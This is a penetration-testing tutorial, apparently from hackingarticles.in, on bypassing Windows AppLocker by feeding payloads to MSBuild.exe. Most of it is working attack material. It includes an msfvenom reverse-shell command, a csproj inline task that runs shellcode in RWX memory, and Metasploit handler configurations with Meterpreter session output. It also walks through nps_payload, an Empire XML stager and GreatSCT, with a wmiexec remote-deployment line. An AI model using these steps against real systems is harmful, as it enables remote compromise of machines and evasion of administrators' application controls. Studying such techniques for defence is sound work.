# Windows Exploitation: msbuild



hackingarticles.in/windows-exploitation-msbuild

Raj January 22, 2019

The purpose of this post is to demonstrate the most common and familiar techniques of whitelisting AppLocker bypass. As we know for security reason, the system admin adds group policies to restrict app execution for the local user. In our previous article, we had discussed on "Windows Applocker Policy - A Beginner's Guide" as they define the AppLocker rules for your application control policies and how to work with them. But today you will learn how to bypass Applocker policies with MSbuild.exe.

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#### Introduction to MSbuild.exe

The Microsoft Build Engine is a platform for building applications. This engine, which is also known as **MSBuild**, provides an XML schema for a project file that controls how the build platform processes and builds software. Visual Studio uses MSBuild, but it doesn't depend on Visual Studio. By invoking *msbuild.exe* on your project or solution file, you can organize and build products in environments where Visual Studio isn't installed.

Visual Studio uses MSBuild to load and build managed projects. The project files in Visual Studio (.csproj, .vbproj, .vcxproj, and others) contain MSBuild XML code.

## **Exploiting Techniques:**

## **Generate CSharp file with Msfvenom**

We use Microsoft Visual Studio to create C # (C Sharp) programming project with a \*.csproj suffix that saved in MSBuild format so that it can be compiled with the MSBuild platform into an executable program.

With the help of a malicious build, we can obtain a reverse shell of the victim's machine. Therefore, now we will generate our file.csproj file and for that, first generate a shellcode of c# via msfvenom. Then later that shellcode will be placed inside our file.csproj as given below.

msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.1.109 lport=1234 -f
csharp

The shellcode generated above should be placed in the XML file and you can download this XML file from <u>GitHub</u>, which has the code that the MSBuild compiles and executes. This XML file should be saved as. **file.csproj** and must be run via MSBuild to get a Meterpreter session.

Note: Replace the shellcode value from your C# shellcode and then rename buf as shellcode as shown in the below image.

```
Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -
<!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee -->
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
<ClassExample />
  </Target>
  <UsingTask
     TaskName="ClassExample"
     TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dl
     <Task>
       <Code Type="Class" Language="cs">
       <![CDATA[
          using System;
          using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask
            private static UInt32 MEM COMMIT = 0x1000;
             private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
             [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
             [DllImport("kernel32")]
                private static extern IntPtr CreateThread(
               UInt32 lpThreadAttributes,
               UInt32 dwStackSize,
               UInt32 lpStartAddress,
               IntPtr param,
UInt32 dwCreationFlags,
                ref UInt32 lpThreadId
             [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
                UInt32 dwMilliseconds
             public override bool Execute()
byte[] shellcode = new byte[341] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
 x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03
```

You can run MSBuild from Visual Studio, or from the Command Window. By using Visual Studio, you can compile an application to run on any one of several versions of the .NET Framework.

For example, you can compile an application to run on the .NET Framework 2.0 on a 32-bit platform, and you can compile the same application to run on the .NET Framework 4.5 on a 64-bit platform. The ability to compile to more than one framework is named multitargeting.

To know more about MSBuild read from here: <u>//docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015</u>

Now launch multi handler to get meterpreter session and run the file.csproj file with msbuild.exe at the target path: C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj

**Note**: you need to save your malicious payload (XML / csproj) at this location:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ and then execute this file with a command prompt.

```
C:\Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.csproj
Microsoft (R) Build Engine version 4.7.3056.0

[Microsoft .NET Framework, version 4.0.30319.42000]

Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/1/2019 7:18:09 PM.
```

```
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
```

As you can observe, we have the meterpreter session of the victim as shown below:

```
<u>nsf</u> > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
<u>msf</u> exploit(multi/handler) > set lport 1234
lport => 1234
 <u>nsf</u> exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.109:1234
[*] <u>Sending stage (179779</u> bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.105:49433) at 2018-12
 <u>neterpreter</u> > sysinfo
                      DESKTOP-NQM64AS
                      Windows 10 (Build 17134).
วร
Architecture
                    : x64
 System Language :
                      en US
Domain
                      WORKGROUP
Logged On Users : 2
                    : x86/windows
 leterpreter
 eterpreter
```

### Generate XML file to Exploit MSBuild

As mentioned above, MSBuild uses an XML- based project file format that is straightforward and extensible, so we can rename the generated file.csproj as file.xml and again run the file.xml with msbuild.exe on the target path:

C:\Windows\Microsoft.Net\Framework\v4.0.30319 as shown.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml

```
C:\Users\raj\Desktop>C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml
Microsoft (R) Build Engine version 4.7.3056.0

[Microsoft .NET Framework, version 4.0.30319.42000]

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Build started 1/1/2019 6:34:54 PM.
```

```
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
```

As you can observe, we have the meterpreter session of the victim as shown below:

```
nsf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
 <u>nsf</u> exploit(multi/handler) > set lport 1234
lport => 1234
 nsf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.109:1234
[*] <u>Sending stage (179779 bytes)</u> to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.109:1234 -> 192.168.1.105:59197) at 201
<u>meterpreter</u> > sysinfo
                    : DESKTOP-NQM64AS
Computer
                      Windows 10 (Build 17134).
0S
Architecture
                    : x64
System Language : en US
Domain
                       WORKGROUP
Logged On Users : 2
 Meterpreter
                       x86/windows
 <u>eterpreter</u> >
```

## Nps\_Payload Script

This script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. Written by Larry Spohn (@Spoonman1091) Payload written by Ben Mauch (@Ben0xA) aka dirty\_ben. You can download it from **github**.

Nps\_payload generates payloads that could be executed with msbuild.exe and mshta.exe to get the reverse connection of the victim's machine via the meterpreter session.

Follow the below step for generating payload:

- 1. Run ./nps\_payload.py script, once you have downloaded nps payload from GitHub
- 2. Press key 1 to select task "generate msbuild/nps/msf"
- 3. Again Press key 1 to select payload "windows/meterpreter/reverse\_tcp"

This will generate a payload in the XML file, send this file at target location C:\Windows\Microsoft.Net\Framework\v4.0.30319 as done in the previous method and simultaneously run below command in a new terminal to start the listener.

msfconsole -r msbuild\_nps.rc

```
li:~/nps_payload#
                           v1.03
                  Generate msbuild/nps/msf payload <
                   Generate msbuild/nps/msf HTA payload
                   Quit
Select a task: 1
Payload Selection:
         (1)
                  windows/meterpreter/reverse_tcp 
                  windows/meterpreter/reverse http
                  windows/meterpreter/reverse_https
Custom PS1 Payload
         (3)
Select payload: 1
Enter Your Local IP Address (None): 192.168.1.107
Enter the listener port (443):
[*] Generating PSH Payload...
    Generating MSF Resource Script...
   Metasploit resource <u>script written</u> to msbuild_nps.rc
Payload written to msbuild_nps.xml

    Run "msfconsole -r msbuild nps.rc" to start listener.

  Choose a Deployment Option (a or b): - See README.md for more information. a. Local File Deployment:
    - %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder path here>\msbuild nps.xml
  b. Remote File Deployment:
    - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.3
      k<mark>ali:~/nps_payload#</mark> python -m SimpleHTTPServer 8080 🗢
    ing HTTP on 0.0.0.0 port 8080
192.168.1.105 - - [13/Jan/2019 12:33:39] "GET / HTTP/1.1" 200 -
```

Now repeat the above step to execute msbuild\_nps.xml with command prompt and obtain a reverse connection via meterpreter as shown below:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe msbuild\_nps.xml

```
[*] Processing msbuild nps.rc for ERB directives.
resource (msbuild nps.rc)> use multi/handler
resource (msbuild_nps.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (msbuild_nps.rc)> set LHOST 192.168.1.107
_HOST => 192.168.1.107
resource (msbuild nps.rc)> set LPORT 443
resource (msbuild nps.rc)> set ExitOnSession false
ExitOnSession => false
resource (msbuild_nps.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (msbuild nps.rc)> exploit -j -z
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.107:443
<u>nsf</u> exploit(multi/handler) > [*] Encoded stage with x86/shikata ga nai
[*] <u>Sending encoded stage (179808</u> bytes) to 192.168.1.105
[*] <u>Meterpreter session 1 opened</u> 192.168.1.107:443 -> 192.168.1.105:53976) at 2019-01
<u>nsf</u> exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
<u>meterpreter</u> > sysinfo
                 : DESKTOP-NQM64AS
Computer
                  : Windows 10 (Build 17134).
Architecture
                 : x64
System Language : en_US
                    WORKGROUP
_ogged On Users :
                   x86/windows
  terpreter
 eterpreter
```

### **PowerShell Empire**

For our next method of msbuild Attack, we will use empire. Empire is a post-exploitation framework. Till now we have paired our XML tacks with Metasploit but in this method, we will use empire framework. It's solely a python-based PowerShell windows agent which makes it quite useful. Empire is developed by @harmj0y, @sixdub, @enigma0x3, rvrsh3ll, @killswitch\_gui, and @xorrior. You can download this framework from Here

To have a basic guide of Empire, please visit our article introducing empire:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

Once the empire framework is started, type listener to check if there are any active listeners. As you can see in the image below that there are no active listeners. So to set up a listener type:

```
listeners
uselistner http
set Host //192.168.1.107
execute
```

With the above commands, you will have an active listener. Type back to go out of listener so that you can initiate your PowerShell.

For our MSBuild attack, we will use a stager. A stager, in the empire, is a snippet of code that allows our malicious code to be run via the agent on the compromised host. So, for this type:

```
usestager windows/launcher_xml
set Listener http
execute
```

Usestager will create a malicious code file that will be saved in the /tmp named launcher.xml.

```
285 modules currently loaded
       0 listeners currently active
       0 agents currently active
(Empire) > listeners
!] No listeners currently active
Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.1.107
(Empire: listeners/http) > execute 🖕
[*] Starting listener 'http'
  Serving Flask app "http" (lazy loading)
 * Environment: production
  Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager windows/launcher xml
(Empire: stager/windows/launcher xml) > set Listener
(Empire: stager/windows/launcher_xml) > execute
[*] Removing Launcher String
[*] Stager output written out to: /tmp/launcher.xml
(Empire: stager/windows/launcher xml) >
```

And once the file runs, we will have the result on our listener. Run the file in your victim's by typing following command :

```
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml
```

```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework\v4.0.30319  

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild.exe launcher.xml

Microsoft (R) Build Engine version 4.7.3056.0

[Microsoft .NET Framework, version 4.0.30319.42000]

Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/13/2019 11:23:07 PM.

Build succeeded.

0 Warning(s)
0 Error(s)

Time Elapsed 00:00:00.62
```

To see if we have any session open type 'agents'. Doing so will show you the name of the session you have. To access that session type:

interact A8H14C7L

The above command will give you access to the session.

sysinfo

```
[+] Initial agent A8H14C7L from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to A8H14C7L at 192.168.1.105
(Empire: stager/windows/launcher_xml) > interact A8H14C7L←
(Empire: A8H14C7L) > sysinfo (= [*] Tasked A8H14C7L to run TASK_SYSINFO
[*] Agent A8H14C7L tasked with task ID 1
(Empire: A8H14C7L) > sysinfo: 0|http://192.168.1.107:80|DESKTOP-NQM64AS|raj|DESKTOP-NQM64AS:b842|Microsoft Windows 10 Enterprise|False|MSBuild|6532|powershell|5
[*] Agent A8H14C7L returned results.
Listener: http://192.168.1.107:80
Internal IP: 192.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:1e
                   DESKTOP-NQM64AS\raj
DESKTOP-NQM64AS
Hostname:
                     Microsoft Windows 10 Enterprise
High Integrity:
                     MSBuild
Process Name:
                      6532
 rocess ID:
                      powershell
 anguage:
_anguage Version: 5
[*] Valid results returned by 192.168.1.105
```

#### **GreatSCT**

GreatSCT is a tool that allows you to use Metasploit exploits and lets it bypass most antiviruses. GreatSCT is current under support by @ConsciousHacker. You can download it from here: <u>//github.com/GreatSCT/GreatSCT</u>

Once it's downloaded and running, type the following command to access the modules:

use Bypass

```
GreatSCT | [Version]: 1.0
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
Main Menu
       1 tools loaded
Available Commands:
       exit
                                Exit GreatSCT
        info
                                Information on a specific tool
        list
                                List available tools
                                Update GreatSCT
       update
                                Use a specific tool
        use
Main menu choice: use Bypass 📗 👍
```

Now to see the list of payloads type:

list

```
Great Scott!
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
GreatSCT-Bypass Menu
       26 payloads loaded
Available Commands:
        back
                                Go to main GreatSCT menu
        checkvt
                                Check virustotal against generated hashes
        clean
                                Remove generated artifacts
        exit
                                Exit GreatSCT
        info
                                Information on a specific payload
        list
                                List available payloads
                                Use a specific payload
GreatSCT-Bypass command: list 📥
```

Now from the list of payloads, you can choose anyone for your desired attack. But for this attack we will use :

use msbuild/meterpreter/rev\_tcp.py

```
Great Scott!
       [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
 [*] Available Payloads:
                    installutil/meterpreter/rev http.py
         2)
                    installutil/meterpreter/rev https.py
                    installutil/meterpreter/rev_tcp.py
installutil/powershell/script.py
installutil/shellcode_inject/base64.py
         3)
         4)
         5)
         6)
                    installutil/shellcode inject/virtual.py
         7)
8)
                    msbuild/meterpreter/rev http.py
                    msbuild/meterpreter/rev_https.
                   msbuild/meterpreter/rev tcp.py
         9)
                   msbuild/powershell/script.py
msbuild/shellcode_inject/base64.py
          10)
          11)
                    msbuild/shellcode inject/virtual.py
          12)
         13)
                    mshta/shellcode inject/base64 migrate.py
         14)
                    regasm/meterpreter/rev_http.py
          15)
                    regasm/meterpreter/rev_https.py
                    regasm/meterpreter/rev_netps.py
regasm/meterpreter/rev_tcp.py
regasm/powershell/script.py
regasm/shellcode_inject/base64.py
regasm/shellcode_inject/virtual.py
          16)
          17)
          18)
         19)
         20)
                    regsvcs/meterpreter/rev_http.py
         21)
                    regsvcs/meterpreter/rev_https.py
          22)
                    regsvcs/meterpreter/rev_tcp.py
         23)
                    regsvcs/powershell/script.py
          24)
                    regsvcs/shellcode_inject/base64.py
          25)
                    regsvcs/shellcode inject/virtual.py
         26)
                    regsvr32/shellcode inject/base64 migrate.py
GreatSCT-Bypass command: use msbuild/meterpreter/rev tcp.py
```

Once the command is executed, type:

```
set lhost 192.168.1.107
generate
```

```
Great Scott!
       [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
 Payload information:
         Name:
                           Pure MSBuild C# Reverse TCP Stager
         Language:
                           msbuild
                           Excellent
         Rating:
         Description: pure windows/meterpreter/reverse tcp stager, no
                           shellcode
Payload: msbuild/meterpreter/rev_tcp selected
Required Options:
Name
                           Value
                                              Description
                                              Optional: Required internal domain
Optional: Payloads expire after "Y" days
Optional: Required system hostname
OMAIN
EXPIRE PAYLOAD
INJECT METHOD
                                              Virtual or Heap
                           Virtual
LH0ST
                                              IP of the Metasploit handler
LPORT
                           4444
                                              Port of the Metasploit handler
PROCESSORS
                                              Optional: Minimum number of processors
                                              Optional: Sleep "Y" seconds, check if accelerated Optional: Check to validate not in UTC
SLEEP
TIMEZONE
USERNAME
                                              Optional: The required user account
 Available Commands:
                           Go back
         back
         exit
                           Completely exit GreatSCT
                           Generate the payload
Show the shellcode's options
         generate
         options
                           Set shellcode option
[msbuild/meterpreter/rev_tcp>>] set lhost 192.168.1.107 🤙
[msbuild/meterpreter/rev_tcp>>] generate
```

While generating the payload, it will ask you to give a name for a payload. By default, it will take 'payload' as the name. We had given msbuild as payload name where the output code will be saved in XML.

```
Great Scott!

[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker

Please enter the base name for output files (default is payload): msbuild
```

Now, it made two files. One Metasploit RC file and other a msbuild.xml file.

Now, firstly, start the python's server in /usr/share/greatsct-output/source by typing:

```
Great Scott!

[Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker

[*] Language: msbuild
[*] Payload Module: msbuild/meterpreter/rev_tcp
[*] MSBuild compiles for us, so you just get xml :)
[*] Source code written to: /usr/share/greatsct-output/source/msbuild.xml
[*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/msbuild.rc
Please press enter to continue >:
```

Run the file in your victim's by typing following command:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml

```
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj>cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319>

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe msbuild.xml 
Microsoft (R) Build Engine version 4.7.3056.0
[Microsoft .NET Framework, version 4.0.30319.42000]

Copyright (C) Microsoft Corporation. All rights reserved.

Build started 1/15/2019 5:44:59 PM.
```

Simultaneously, start the multi/handler using the resource file. For this, type:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

And voila! We have a meterpreter session as shown here.

Reference: //docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017

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